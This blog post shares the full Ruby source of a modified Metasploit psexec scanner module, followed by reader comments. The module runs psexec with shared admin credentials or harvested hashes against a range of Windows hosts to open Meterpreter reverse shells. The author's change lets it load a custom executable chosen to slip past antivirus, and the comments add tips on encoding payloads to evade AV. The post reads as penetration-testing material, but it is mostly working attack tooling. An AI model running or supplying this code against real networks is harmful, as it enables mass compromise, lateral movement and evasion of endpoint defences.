Last year DarkOperator(Carlos Perez) released an awesome auxiliary module for the Metasploit Framework: the PSExec Scanner Auxiliary Module. This module allows you to use a set of credentials (or hashes) to run the psexec Metasploit module against a list of hosts. A very handy trick when you have a shared local admin account and want to get shells on a bunch of machines where those admin credentials work.
I simply added a few lines to his script that adds the EXE::Custom option, which allows you to specify a custom binary to use as a payload rather than have the psexec module create one on the fly. This is useful if you like to use a custom executable that already bypasses AV, since the stock Metasploit payloads often get caught by AV’s. You set the EXE::Custom option like you would any other option is msf, e.g. “set EXE::Custom /tmp/samba/revshell.exe”.
Be forewarned: Using the custom binary can take a little while longer to pop the box than when you run the module with the default options.
Below is the original script with my edits/additions highlighted. You can download the edited script here
## # $Id$ ## ## # ## This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## #Slightly modified by pipefish to add the EXE::Custom option require 'msf/core' require 'rex' class Metasploit3 'Auxiliary PSExec Scanner', 'Description' => %q{ PSExec scanner module that will run a psexec attack against a range of hosts using either a set of credentials provided or the credential saved in the current workspace database. }, 'License' => MSF_LICENSE, 'Author' => [ 'Carlos Perez '], 'Version' => '$Revision$' )) register_options( [ OptString.new('SMBUser', [false, 'SMB Username', nil]), OptString.new('SMBPass', [false, 'SMB Password', nil]), OptString.new('SMBDomain', [true, "SMB Domain", 'WORKGROUP']), OptString.new('SHARE', [ true, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ]), OptString.new('RHOSTS', [true, 'Range of hosts to scan.', nil]), OptInt.new('LPORT', [true, 'Local Port for payload to connect.', nil]), OptString.new('LHOST', [true, 'Local Hosts for payload to connect.', nil]), OptString.new('PAYLOAD', [true, 'Payload to use against Windows host', "windows/meterpreter/reverse_tcp"]), OptEnum.new('TYPE', [false, 'Type of credentials to use, manual for provided one, db for those found on the database', 'manual', ['db','manual']]), OptString.new('OPTIONS', [false, "Comma separated list of additional options for payload if needed in 'opt=val,opt=val' format.", ""]), OptString.new('EXE::Custom', [false, 'Use custom exe instead of automatically generating a payload exe', nil]), OptBool.new('HANDLER', [ false, 'Start an Exploit Multi Handler to receive the connection', true]), ], self.class) # no need for it deregister_options('RPORT') end def setup() # Set variables pay_name = datastore['PAYLOAD'] lhost = datastore['LHOST'] lport = datastore['LPORT'] opts = datastore['OPTIONS'] if datastore['TYPE'] == "db" print_status("Using the credentials found in the workspace database") collect_hashes() else print_status("Using the username and password provided") end @pay = create_payload(pay_name,lhost,lport,opts) create_multihand(pay_name,lhost,lport) if datastore['HANDLER'] end # Run Method for when run command is issued def run_host(ip) if check_port(ip) if datastore['TYPE'] == "manual" if not datastore['SMBUser'].nil? and not datastore['SMBPass'].nil? user = datastore['SMBUser'] pass = datastore['SMBPass'] dom = datastore['SMBDomain'] payload = datastore['PAYLOAD'] custexe = datastore['EXE::Custom'] print_status("Trying #{user}:#{pass}") psexec(ip,user,pass,dom,payload,custexe) return end else @creds.each do |c| user,pass = c.split(" ") dom = datastore['SMBDomain'] payload = datastore['PAYLOAD'] custexe = datastore['EXE::Custom'] print_status("Trying #{user}:#{pass}") psexec(ip,user,pass,dom,payload,custexe) end end else return end end ## Run psexec on a given IP def psexec(ip,user,pass,dom,payload,custexe) psexec = framework.modules.create("exploit/windows/smb/psexec") psexec.share_datastore(@pay.datastore) psexec.datastore['PAYLOAD'] = payload psexec.datastore['MODULE_OWNER'] = self.owner psexec.datastore['WORKSPACE'] = datastore["WORKSPACE"] if datastore["WORKSPACE"] psexec.datastore['RHOST'] = ip psexec.datastore['SMBUser'] = user psexec.datastore['SMBPass'] = pass psexec.datastore['SMBDomain'] = dom if not datastore['EXE::Custom'].nil? psexec.datastore['EXE::Custom'] = custexe end psexec.datastore['SHARE'] = datastore['SHARE'] psexec.datastore['RPORT'] = 445 psexec.datastore['ExitOnSession'] = false psexec.datastore['DisablePayloadHandler'] = false psexec.datastore['EXITFUNC'] = 'process' psexec.datastore['VERBOSE'] = true psexec.datastore['DisablePayloadHandler'] = true psexec.datastore['ForceBlocking'] = true psexec.options.validate(psexec.datastore) psexec.exploit_simple( 'LocalInput' => self.user_input, 'LocalOutput' => self.user_output, 'Payload' => payload, 'Target' => 0, 'ForceBlocking' => true, 'RunAsJob' => false) Rex::ThreadSafe.sleep(4) end def check_port(ip) status = false timeout = 1000 port = 445 begin s = connect(false, { 'RPORT' => 445, 'RHOST' => ip, 'ConnectTimeout' => (timeout / 1000.0) } ) print_status("#{ip}:#{port} - TCP OPEN") status = true rescue ::Rex::ConnectionRefused vprint_status("#{ip}:#{port} - TCP closed") rescue ::Rex::ConnectionError, ::IOError, ::Timeout::Error rescue ::Interrupt raise $! rescue ::Exception => e print_error("#{ip}:#{port} exception #{e.class} #{e} #{e.backtrace}") ensure disconnect(s) rescue nil end return status end def collect_hashes type = "smb_hash|password" @creds = [] print_status("Collecting Hashes from the DB") framework.db.workspace.creds.each do |cred| if cred.active and cred.ptype =~ /#{type}/ and cred.user !~ /(SUPPORT|HelpAssistant|TsInternetUser|IWAM|Guest)/ @creds < mul.datastore['PAYLOAD'], 'LocalInput' => self.user_input, 'LocalOutput' => self.user_output, 'RunAsJob' => true ) else print_error("Could not start handler!") end end end
Does this work on win 7/srvr2008?
I tries psexec from metaploit on windows server.2008 and it uploaded my payload but nothing happened. The firewall was turned off to.
LikeLike
Hey Bill, it works on Windows 7 professional (that’s what I was testing on anyways). I guess first make sure the standard psexec exploit works without a custom coded EXE, to ensure there’s no weirdness (turn off AV for testing). In my experience when you fire off the psexec module and it connects and “runs” but no shell then AV is catching you (Even MS security essentials). Before trying to bypass AV make sure your setup runs with AV and whatnot off. Also, does your custom EXE work standalone? Can you just run it from the Windows box and have it connect to a listening multi/handler? You need to specify the proper payload listener in the psexec_scanner module that you’ve hard-coded in your EXE as well. Once everything works with no protection (and you’ve (en)coded it to bypass AV properly) you should have no prob. Good luck!
LikeLike